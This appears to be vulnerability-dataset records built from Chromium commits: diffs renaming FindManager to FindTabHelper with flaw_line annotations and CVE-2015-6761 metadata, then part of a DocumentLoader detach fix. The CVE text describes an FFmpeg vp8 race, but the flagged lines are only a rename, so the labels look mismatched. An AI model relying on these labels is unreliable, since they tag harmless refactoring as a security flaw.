"https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/login/login_prompt.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2009 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -407,7 +407,7 @@ class LoginDialogTask : public Task {\n TabContentsWrapper::GetCurrentWrapperForContents(parent_contents);\n if (!wrapper)\n return;\n- PasswordManager* password_manager = wrapper->GetPasswordManager();\n+ PasswordManager* password_manager = wrapper->password_manager();\n std::vector<PasswordForm> v;\n MakeInputForPasswordManager(&v);\n password_manager->OnPasswordFormsFound(v);"}<_**next**_>{"sha": "3e6a9da22880b6358d9e233d37f664f116e0f1c8", "filename": "chrome/browser/ui/tab_contents/tab_contents_wrapper.cc", "status": "modified", "additions": 9, "deletions": 37, "changes": 46, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/tab_contents/tab_contents_wrapper.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/tab_contents/tab_contents_wrapper.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/tab_contents/tab_contents_wrapper.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -10,7 +10,7 @@\n #include \"chrome/browser/password_manager_delegate_impl.h\"\n #include \"chrome/browser/profiles/profile.h\"\n #include \"chrome/browser/tab_contents/tab_contents.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/search_engines/search_engine_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper_delegate.h\"\n #include \"chrome/common/notification_service.h\"\n@@ -30,10 +30,15 @@ TabContentsWrapper::TabContentsWrapper(TabContents* contents)\n // go to a Browser.\n property_accessor()->SetProperty(contents->property_bag(), this);\n \n- // Needed so that we initialize the password manager on first navigation.\n tab_contents()->AddObserver(this);\n \n // Create the tab helpers.\n+ find_tab_helper_.reset(new FindTabHelper(this));\n+ tab_contents()->AddObserver(find_tab_helper_.get());\n+ password_manager_delegate_.reset(new PasswordManagerDelegateImpl(contents));\n+ password_manager_.reset(\n+ new PasswordManager(password_manager_delegate_.get()));\n+ tab_contents()->AddObserver(password_manager_.get());\n search_engine_tab_helper_.reset(new SearchEngineTabHelper(this));\n tab_contents()->AddObserver(search_engine_tab_helper_.get());\n \n@@ -50,10 +55,8 @@ TabContentsWrapper::~TabContentsWrapper() {\n \n // Unregister observers.\n tab_contents()->RemoveObserver(this);\n- if (password_manager_.get())\n- tab_contents()->RemoveObserver(password_manager_.get());\n- if (find_manager_.get())\n- tab_contents()->RemoveObserver(find_manager_.get());\n+ tab_contents()->RemoveObserver(find_tab_helper_.get());\n+ tab_contents()->RemoveObserver(password_manager_.get());\n tab_contents()->RemoveObserver(search_engine_tab_helper_.get());\n }\n \n@@ -64,9 +67,6 @@ PropertyAccessor<TabContentsWrapper*>* TabContentsWrapper::property_accessor() {\n TabContentsWrapper* TabContentsWrapper::Clone() {\n TabContents* new_contents = tab_contents()->Clone();\n TabContentsWrapper* new_wrapper = new TabContentsWrapper(new_contents);\n- // Instantiate the password manager if it has been instantiated here.\n- if (password_manager_.get())\n- new_wrapper->GetPasswordManager();\n return new_wrapper;\n }\n \n@@ -78,37 +78,9 @@ TabContentsWrapper* TabContentsWrapper::GetCurrentWrapperForContents(\n return wrapper ? *wrapper : NULL;\n }\n \n-PasswordManager* TabContentsWrapper::GetPasswordManager() {\n- if (!password_manager_.get()) {\n- // Create the delegate then create the manager.\n- password_manager_delegate_.reset(\n- new PasswordManagerDelegateImpl(tab_contents()));\n- password_manager_.reset(\n- new PasswordManager(password_manager_delegate_.get()));\n- // Register the manager to receive navigation notifications.\n- tab_contents()->AddObserver(password_manager_.get());\n- }\n- return password_manager_.get();\n-}\n-\n-FindManager* TabContentsWrapper::GetFindManager() {\n- if (!find_manager_.get()) {\n- find_manager_.reset(new FindManager(this));\n- // Register the manager to receive navigation notifications.\n- tab_contents()->AddObserver(find_manager_.get());\n- }\n- return find_manager_.get();\n-}\n-\n ////////////////////////////////////////////////////////////////////////////////\n // TabContentsWrapper, TabContentsObserver implementation:\n \n-void TabContentsWrapper::NavigateToPendingEntry() {\n- // If any page loads, ensure that the password manager is loaded so that forms\n- // get filled out.\n- GetPasswordManager();\n-}\n-\n void TabContentsWrapper::DidNavigateMainFramePostCommit(\n const NavigationController::LoadCommittedDetails& /*details*/,\n const ViewHostMsg_FrameNavigate_Params& /*params*/) {"}<_**next**_>{"sha": "510fb76c3a40bf7da08254ad9454e60d19816ec5", "filename": "chrome/browser/ui/tab_contents/tab_contents_wrapper.h", "status": "modified", "additions": 11, "deletions": 11, "changes": 22, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/tab_contents/tab_contents_wrapper.h", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/tab_contents/tab_contents_wrapper.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/tab_contents/tab_contents_wrapper.h?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -14,7 +14,7 @@\n #include \"chrome/common/notification_registrar.h\"\n \n class Extension;\n-class FindManager;\n+class FindTabHelper;\n class NavigationController;\n class PasswordManager;\n class PasswordManagerDelegate;\n@@ -72,18 +72,19 @@ class TabContentsWrapper : public NotificationObserver,\n \n bool is_starred() const { return is_starred_; }\n \n- PasswordManager* GetPasswordManager();\n+ // Tab Helpers ---------------------------------------------------------------\n \n- FindManager* GetFindManager();\n+ FindTabHelper* find_tab_helper() { return find_tab_helper_.get(); }\n+\n+ PasswordManager* password_manager() { return password_manager_.get(); }\n \n SearchEngineTabHelper* search_engine_tab_helper() {\n return search_engine_tab_helper_.get();\n- };\n+ }\n \n // Overrides -----------------------------------------------------------------\n \n // TabContentsObserver overrides:\n- virtual void NavigateToPendingEntry() OVERRIDE;\n virtual void DidNavigateMainFramePostCommit(\n const NavigationController::LoadCommittedDetails& details,\n const ViewHostMsg_FrameNavigate_Params& params) OVERRIDE;\n@@ -113,16 +114,15 @@ class TabContentsWrapper : public NotificationObserver,\n // Whether the current URL is starred.\n bool is_starred_;\n \n- // Supporting objects --------------------------------------------------------\n+ // Tab Helpers ---------------------------------------------------------------\n \n- // PasswordManager and its delegate, lazily created. The delegate must\n- // outlive the manager, per documentation in password_manager.h.\n+ scoped_ptr<FindTabHelper> find_tab_helper_;\n+\n+ // PasswordManager and its delegate. The delegate must outlive the manager,\n+ // per documentation in password_manager.h.\n scoped_ptr<PasswordManagerDelegate> password_manager_delegate_;\n scoped_ptr<PasswordManager> password_manager_;\n \n- // FindManager, lazily created.\n- scoped_ptr<FindManager> find_manager_;\n-\n scoped_ptr<SearchEngineTabHelper> search_engine_tab_helper_;\n \n // TabContents (MUST BE LAST) ------------------------------------------------"}<_**next**_>{"sha": "0d28ddf23cd8216d03b8075b4f8b344e00263775", "filename": "chrome/browser/ui/views/find_bar_host.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/views/find_bar_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/views/find_bar_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/find_bar_host.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -10,7 +10,7 @@\n #include \"chrome/browser/tab_contents/tab_contents.h\"\n #include \"chrome/browser/tab_contents/tab_contents_view.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n #include \"chrome/browser/ui/view_ids.h\"\n #include \"chrome/browser/ui/views/find_bar_view.h\"\n@@ -114,7 +114,7 @@ void FindBarHost::MoveWindowIfNecessary(const gfx::Rect& selection_rect,\n // Bar visible.\n if (!find_bar_controller_->tab_contents() ||\n !find_bar_controller_->\n- tab_contents()->GetFindManager()->find_ui_active()) {\n+ tab_contents()->find_tab_helper()->find_ui_active()) {\n return;\n }\n "}<_**next**_>{"sha": "36e88680a3d0135bab3b47c97ae737aacfd4757c", "filename": "chrome/browser/ui/views/find_bar_view.cc", "status": "modified", "additions": 14, "deletions": 12, "changes": 26, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/views/find_bar_view.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/views/find_bar_view.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/find_bar_view.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -14,7 +14,7 @@\n #include \"chrome/browser/themes/browser_theme_provider.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_state.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n #include \"chrome/browser/ui/view_ids.h\"\n #include \"chrome/browser/ui/views/find_bar_host.h\"\n@@ -441,9 +441,9 @@ void FindBarView::ButtonPressed(\n case FIND_NEXT_TAG:\n if (!find_text_->text().empty()) {\n find_bar_host()->GetFindBarController()->tab_contents()->\n- GetFindManager()->StartFinding(find_text_->text(),\n- sender->tag() == FIND_NEXT_TAG,\n- false); // Not case sensitive.\n+ find_tab_helper()->StartFinding(find_text_->text(),\n+ sender->tag() == FIND_NEXT_TAG,\n+ false); // Not case sensitive.\n }\n if (event.IsMouseEvent()) {\n // If mouse event, we move the focus back to the text-field, so that the\n@@ -482,17 +482,18 @@ void FindBarView::ContentsChanged(views::Textfield* sender,\n // can lead to crashes, as exposed by automation testing in issue 8048.\n if (!controller->tab_contents())\n return;\n- FindManager* find_manager = controller->tab_contents()->GetFindManager();\n+ FindTabHelper* find_tab_helper =\n+ controller->tab_contents()->find_tab_helper();\n \n // When the user changes something in the text box we check the contents and\n // if the textbox contains something we set it as the new search string and\n // initiate search (even though old searches might be in progress).\n if (!new_contents.empty()) {\n // The last two params here are forward (true) and case sensitive (false).\n- find_manager->StartFinding(new_contents, true, false);\n+ find_tab_helper->StartFinding(new_contents, true, false);\n } else {\n- find_manager->StopFinding(FindBarController::kClearSelection);\n- UpdateForResult(find_manager->find_result(), string16());\n+ find_tab_helper->StopFinding(FindBarController::kClearSelection);\n+ UpdateForResult(find_tab_helper->find_result(), string16());\n \n // Clearing the text box should clear the prepopulate state so that when\n // we close and reopen the Find box it doesn't show the search we just\n@@ -519,11 +520,12 @@ bool FindBarView::HandleKeyEvent(views::Textfield* sender,\n string16 find_string = find_text_->text();\n if (!find_string.empty()) {\n FindBarController* controller = find_bar_host()->GetFindBarController();\n- FindManager* find_manager = controller->tab_contents()->GetFindManager();\n+ FindTabHelper* find_tab_helper =\n+ controller->tab_contents()->find_tab_helper();\n // Search forwards for enter, backwards for shift-enter.\n- find_manager->StartFinding(find_string,\n- !key_event.IsShiftDown(),\n- false); // Not case sensitive.\n+ find_tab_helper->StartFinding(find_string,\n+ !key_event.IsShiftDown(),\n+ false); // Not case sensitive.\n }\n }\n "}<_**next**_>{"sha": "83d77a36d892bfa49fe103968b5b7b304856b83a", "filename": "chrome/chrome_browser.gypi", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/chrome_browser.gypi", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/chrome_browser.gypi", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/chrome_browser.gypi?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -2875,9 +2875,9 @@\n 'browser/ui/find_bar/find_bar_controller.h',\n 'browser/ui/find_bar/find_bar_state.cc',\n 'browser/ui/find_bar/find_bar_state.h',\n- 'browser/ui/find_bar/find_manager.h',\n- 'browser/ui/find_bar/find_manager.cc',\n 'browser/ui/find_bar/find_notification_details.h',\n+ 'browser/ui/find_bar/find_tab_helper.h',\n+ 'browser/ui/find_bar/find_tab_helper.cc',\n 'browser/ui/gtk/about_chrome_dialog.cc',\n 'browser/ui/gtk/about_chrome_dialog.h',\n 'browser/ui/gtk/accelerators_gtk.cc',"}<_**next**_>{"sha": "e1ed6564b6bb81f9ef88459955b2e9b5e45bdc04", "filename": "chrome/test/ui_test_utils.cc", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/test/ui_test_utils.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/test/ui_test_utils.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/test/ui_test_utils.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -31,8 +31,8 @@\n #include \"chrome/browser/tab_contents/tab_contents.h\"\n #include \"chrome/browser/tab_contents/thumbnail_generator.h\"\n #include \"chrome/browser/ui/browser.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n #include \"chrome/browser/ui/find_bar/find_notification_details.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n #include \"chrome/common/chrome_paths.h\"\n #include \"chrome/common/extensions/extension_action.h\"\n@@ -231,7 +231,7 @@ class FindInPageNotificationObserver : public NotificationObserver {\n active_match_ordinal_(-1),\n number_of_matches_(0) {\n current_find_request_id_ =\n- parent_tab->GetFindManager()->current_find_request_id();\n+ parent_tab->find_tab_helper()->current_find_request_id();\n registrar_.Add(this, NotificationType::FIND_RESULT_AVAILABLE,\n Source<TabContents>(parent_tab_->tab_contents()));\n ui_test_utils::RunMessageLoop();\n@@ -633,7 +633,7 @@ void WaitForFocusInBrowser(Browser* browser) {\n int FindInPage(TabContentsWrapper* tab_contents, const string16& search_string,\n bool forward, bool match_case, int* ordinal) {\n tab_contents->\n- GetFindManager()->StartFinding(search_string, forward, match_case);\n+ find_tab_helper()->StartFinding(search_string, forward, match_case);\n FindInPageNotificationObserver observer(tab_contents);\n if (ordinal)\n *ordinal = observer.active_match_ordinal();"}
|
void FindBarController::UpdateFindBarForCurrentResult() {
FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
const FindNotificationDetails& find_result = find_tab_helper->find_result();
if (find_result.number_of_matches() > -1) {
if (last_reported_matchcount_ > 0 &&
find_result.number_of_matches() == 1 &&
!find_result.final_update())
return; // Don't let interim result override match count.
last_reported_matchcount_ = find_result.number_of_matches();
}
find_bar_->UpdateUIForFindResult(find_result, find_tab_helper->find_text());
}
|
void FindBarController::UpdateFindBarForCurrentResult() {
FindManager* find_manager = tab_contents_->GetFindManager();
const FindNotificationDetails& find_result = find_manager->find_result();
if (find_result.number_of_matches() > -1) {
if (last_reported_matchcount_ > 0 &&
find_result.number_of_matches() == 1 &&
!find_result.final_update())
return; // Don't let interim result override match count.
last_reported_matchcount_ = find_result.number_of_matches();
}
find_bar_->UpdateUIForFindResult(find_result, find_manager->find_text());
}
|
C
|
FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
const FindNotificationDetails& find_result = find_tab_helper->find_result();
find_bar_->UpdateUIForFindResult(find_result, find_tab_helper->find_text());
|
FindManager* find_manager = tab_contents_->GetFindManager();
const FindNotificationDetails& find_result = find_manager->find_result();
find_bar_->UpdateUIForFindResult(find_result, find_manager->find_text());
| null |
@@ -11,7 +11,7 @@
#include "chrome/browser/tab_contents/navigation_entry.h"
#include "chrome/browser/ui/find_bar/find_bar.h"
#include "chrome/browser/ui/find_bar/find_bar_state.h"
-#include "chrome/browser/ui/find_bar/find_manager.h"
+#include "chrome/browser/ui/find_bar/find_tab_helper.h"
#include "chrome/browser/ui/tab_contents/tab_contents_wrapper.h"
#include "chrome/common/notification_details.h"
#include "chrome/common/notification_source.h"
@@ -31,14 +31,14 @@ FindBarController::~FindBarController() {
}
void FindBarController::Show() {
- FindManager* find_manager = tab_contents_->GetFindManager();
+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
// Only show the animation if we're not already showing a find bar for the
// selected TabContents.
- if (!find_manager->find_ui_active()) {
+ if (!find_tab_helper->find_ui_active()) {
MaybeSetPrepopulateText();
- find_manager->set_find_ui_active(true);
+ find_tab_helper->set_find_ui_active(true);
find_bar_->Show(true);
}
find_bar_->SetFocusAndSelection();
@@ -50,15 +50,15 @@ void FindBarController::EndFindSession(SelectionAction action) {
// |tab_contents_| can be NULL for a number of reasons, for example when the
// tab is closing. We must guard against that case. See issue 8030.
if (tab_contents_) {
- FindManager* find_manager = tab_contents_->GetFindManager();
+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
// When we hide the window, we need to notify the renderer that we are done
// for now, so that we can abort the scoping effort and clear all the
// tickmarks and highlighting.
- find_manager->StopFinding(action);
+ find_tab_helper->StopFinding(action);
if (action != kKeepSelection)
- find_bar_->ClearResults(find_manager->find_result());
+ find_bar_->ClearResults(find_tab_helper->find_result());
// When we get dismissed we restore the focus to where it belongs.
find_bar_->RestoreSavedFocus();
@@ -76,7 +76,7 @@ void FindBarController::ChangeTabContents(TabContentsWrapper* contents) {
// Hide any visible find window from the previous tab if NULL |tab_contents|
// is passed in or if the find UI is not active in the new tab.
if (find_bar_->IsFindBarVisible() &&
- (!tab_contents_ || !tab_contents_->GetFindManager()->find_ui_active())) {
+ (!tab_contents_ || !tab_contents_->find_tab_helper()->find_ui_active())) {
find_bar_->Hide(false);
}
@@ -90,7 +90,7 @@ void FindBarController::ChangeTabContents(TabContentsWrapper* contents) {
MaybeSetPrepopulateText();
- if (tab_contents_->GetFindManager()->find_ui_active()) {
+ if (tab_contents_->find_tab_helper()->find_ui_active()) {
// A tab with a visible find bar just got selected and we need to show the
// find bar but without animation since it was already animated into its
// visible state. We also want to reset the window location so that
@@ -108,16 +108,16 @@ void FindBarController::ChangeTabContents(TabContentsWrapper* contents) {
void FindBarController::Observe(NotificationType type,
const NotificationSource& source,
const NotificationDetails& details) {
- FindManager* find_manager = tab_contents_->GetFindManager();
+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
if (type == NotificationType::FIND_RESULT_AVAILABLE) {
// Don't update for notifications from TabContentses other than the one we
// are actively tracking.
if (Source<TabContents>(source).ptr() == tab_contents_->tab_contents()) {
UpdateFindBarForCurrentResult();
- if (find_manager->find_result().final_update() &&
- find_manager->find_result().number_of_matches() == 0) {
- const string16& last_search = find_manager->previous_find_text();
- const string16& current_search = find_manager->find_text();
+ if (find_tab_helper->find_result().final_update() &&
+ find_tab_helper->find_result().number_of_matches() == 0) {
+ const string16& last_search = find_tab_helper->previous_find_text();
+ const string16& current_search = find_tab_helper->find_text();
if (last_search.find(current_search) != 0)
find_bar_->AudibleAlert();
}
@@ -139,7 +139,7 @@ void FindBarController::Observe(NotificationType type,
} else {
// On Reload we want to make sure FindNext is converted to a full Find
// to make sure highlights for inactive matches are repainted.
- find_manager->set_find_op_aborted(true);
+ find_tab_helper->set_find_op_aborted(true);
}
}
}
@@ -187,8 +187,8 @@ gfx::Rect FindBarController::GetLocationForFindbarView(
}
void FindBarController::UpdateFindBarForCurrentResult() {
- FindManager* find_manager = tab_contents_->GetFindManager();
- const FindNotificationDetails& find_result = find_manager->find_result();
+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
+ const FindNotificationDetails& find_result = find_tab_helper->find_result();
// Avoid bug 894389: When a new search starts (and finds something) it reports
// an interim match count result of 1 before the scoping effort starts. This
@@ -205,18 +205,18 @@ void FindBarController::UpdateFindBarForCurrentResult() {
last_reported_matchcount_ = find_result.number_of_matches();
}
- find_bar_->UpdateUIForFindResult(find_result, find_manager->find_text());
+ find_bar_->UpdateUIForFindResult(find_result, find_tab_helper->find_text());
}
void FindBarController::MaybeSetPrepopulateText() {
#if !defined(OS_MACOSX)
// Find out what we should show in the find text box. Usually, this will be
// the last search in this tab, but if no search has been issued in this tab
// we use the last search string (from any tab).
- FindManager* find_manager = tab_contents_->GetFindManager();
- string16 find_string = find_manager->find_text();
+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
+ string16 find_string = find_tab_helper->find_text();
if (find_string.empty())
- find_string = find_manager->previous_find_text();
+ find_string = find_tab_helper->previous_find_text();
if (find_string.empty()) {
find_string =
FindBarState::GetLastPrepopulateText(tab_contents_->profile());
|
Chrome
|
c90c6ca59378d7e86d1a2f28fe96bada35df1508
|
8d61f1c281dd3490e482c63eba56f4787acf42f1
| 1
|
void FindBarController::UpdateFindBarForCurrentResult() {
//flaw_line_below:
FindManager* find_manager = tab_contents_->GetFindManager();
//flaw_line_below:
const FindNotificationDetails& find_result = find_manager->find_result();
//fix_flaw_line_below:
// FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();
//fix_flaw_line_below:
// const FindNotificationDetails& find_result = find_tab_helper->find_result();
// Avoid bug 894389: When a new search starts (and finds something) it reports
// an interim match count result of 1 before the scoping effort starts. This
// is to provide feedback as early as possible that we will find something.
// As you add letters to the search term, this creates a flashing effect when
// we briefly show "1 of 1" matches because there is a slight delay until
// the scoping effort starts updating the match count. We avoid this flash by
// ignoring interim results of 1 if we already have a positive number.
if (find_result.number_of_matches() > -1) {
if (last_reported_matchcount_ > 0 &&
find_result.number_of_matches() == 1 &&
!find_result.final_update())
return; // Don't let interim result override match count.
last_reported_matchcount_ = find_result.number_of_matches();
}
//flaw_line_below:
find_bar_->UpdateUIForFindResult(find_result, find_manager->find_text());
//fix_flaw_line_below:
// find_bar_->UpdateUIForFindResult(find_result, find_tab_helper->find_text());
}
|
136,605
| null |
Remote
|
Not required
|
Partial
|
CVE-2015-6761
|
https://www.cvedetails.com/cve/CVE-2015-6761/
|
CWE-362
|
Medium
|
Partial
|
Partial
| null |
2015-10-15
| 6.8
|
The update_dimensions function in libavcodec/vp8.c in FFmpeg through 2.8.1, as used in Google Chrome before 46.0.2490.71 and other products, relies on a coefficient-partition count during multi-threaded operation, which allows remote attackers to cause a denial of service (race condition and memory corruption) or possibly have unspecified other impact via a crafted WebM file.
|
2018-12-21
|
DoS Mem. Corr.
| 0
|
https://github.com/chromium/chromium/commit/fd506b0ac6c7846ae45b5034044fe85c28ee68ac
|
fd506b0ac6c7846ae45b5034044fe85c28ee68ac
|
Fix detach with open()ed document leaving parent loading indefinitely
Change-Id: I26c2a054b9f1e5eb076acd677e1223058825f6d6
Bug: 803416
Test: fast/loader/document-open-iframe-then-detach.html
Change-Id: I26c2a054b9f1e5eb076acd677e1223058825f6d6
Reviewed-on: https://chromium-review.googlesource.com/887298
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Nate Chapin <japhet@chromium.org>
Cr-Commit-Position: refs/heads/master@{#532967}
| 0
|
third_party/WebKit/Source/core/loader/DocumentLoader.cpp
|
{"sha": "ef3dbcd3ba3fe8d1797310ac4ba4a02541c06b4b", "filename": "third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach-expected.txt", "status": "added", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach-expected.txt", "raw_url": "https://github.com/chromium/chromium/raw/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach-expected.txt", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach-expected.txt?ref=fd506b0ac6c7846ae45b5034044fe85c28ee68ac", "patch": "@@ -0,0 +1 @@\n+PASS if no timeout. "}<_**next**_>{"sha": "13d853182aa45d5a534c09d30a0de0469e46be0a", "filename": "third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach.html", "status": "added", "additions": 11, "deletions": 0, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach.html", "raw_url": "https://github.com/chromium/chromium/raw/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/fast/loader/document-open-iframe-then-detach.html?ref=fd506b0ac6c7846ae45b5034044fe85c28ee68ac", "patch": "@@ -0,0 +1,11 @@\n+PASS if no timeout.\n+<iframe id=\"i\"></iframe>\n+<script>\n+if (window.testRunner)\n+ testRunner.dumpAsText();\n+\n+i.contentDocument.open();\n+setTimeout(function() {\n+ i.remove();\n+}, 0);\n+</script>"}<_**next**_>{"sha": "bd28e1bec91d7b3dab156441ebe71ec369decd75", "filename": "third_party/WebKit/Source/core/loader/DocumentLoader.cpp", "status": "modified", "additions": 6, "deletions": 5, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/Source/core/loader/DocumentLoader.cpp", "raw_url": "https://github.com/chromium/chromium/raw/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/Source/core/loader/DocumentLoader.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/loader/DocumentLoader.cpp?ref=fd506b0ac6c7846ae45b5034044fe85c28ee68ac", "patch": "@@ -773,14 +773,15 @@ void DocumentLoader::AppendRedirect(const KURL& url) {\n redirect_chain_.push_back(url);\n }\n \n-void DocumentLoader::DetachFromFrame() {\n- DCHECK(frame_);\n-\n- // It never makes sense to have a document loader that is detached from its\n- // frame have any loads active, so go ahead and kill all the loads.\n+void DocumentLoader::StopLoading() {\n fetcher_->StopFetching();\n if (frame_ && !SentDidFinishLoad())\n LoadFailed(ResourceError::CancelledError(Url()));\n+}\n+\n+void DocumentLoader::DetachFromFrame() {\n+ DCHECK(frame_);\n+ StopLoading();\n fetcher_->ClearContext();\n \n // If that load cancellation triggered another detach, leave."}<_**next**_>{"sha": "260c5ca155cb58cdd5bb93e15e0cca39bf377cdb", "filename": "third_party/WebKit/Source/core/loader/DocumentLoader.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/Source/core/loader/DocumentLoader.h", "raw_url": "https://github.com/chromium/chromium/raw/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/Source/core/loader/DocumentLoader.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/loader/DocumentLoader.h?ref=fd506b0ac6c7846ae45b5034044fe85c28ee68ac", "patch": "@@ -172,6 +172,7 @@ class CORE_EXPORT DocumentLoader\n HistoryItem* GetHistoryItem() const { return history_item_; }\n \n void StartLoading();\n+ void StopLoading();\n \n DocumentLoadTiming& GetTiming() { return document_load_timing_; }\n const DocumentLoadTiming& GetTiming() const { return document_load_timing_; }"}<_**next**_>{"sha": "7746324a7933502ef53260f993553d4148c15d12", "filename": "third_party/WebKit/Source/core/loader/FrameLoader.cpp", "status": "modified", "additions": 3, "deletions": 13, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/Source/core/loader/FrameLoader.cpp", "raw_url": "https://github.com/chromium/chromium/raw/fd506b0ac6c7846ae45b5034044fe85c28ee68ac/third_party/WebKit/Source/core/loader/FrameLoader.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/loader/FrameLoader.cpp?ref=fd506b0ac6c7846ae45b5034044fe85c28ee68ac", "patch": "@@ -988,7 +988,7 @@ void FrameLoader::StopAllLoaders() {\n if (in_stop_all_loaders_)\n return;\n \n- in_stop_all_loaders_ = true;\n+ AutoReset<bool> in_stop_all_loaders(&in_stop_all_loaders_, true);\n \n for (Frame* child = frame_->Tree().FirstChild(); child;\n child = child->Tree().NextSibling()) {\n@@ -998,21 +998,11 @@ void FrameLoader::StopAllLoaders() {\n \n frame_->GetDocument()->CancelParsing();\n if (document_loader_)\n- document_loader_->Fetcher()->StopFetching();\n+ document_loader_->StopLoading();\n if (!protect_provisional_loader_)\n DetachDocumentLoader(provisional_document_loader_);\n-\n frame_->GetNavigationScheduler().Cancel();\n-\n- // It's possible that the above actions won't have stopped loading if load\n- // completion had been blocked on parsing or if we were in the middle of\n- // committing an empty document. In that case, emulate a failed navigation.\n- if (document_loader_ && !document_loader_->SentDidFinishLoad()) {\n- document_loader_->LoadFailed(\n- 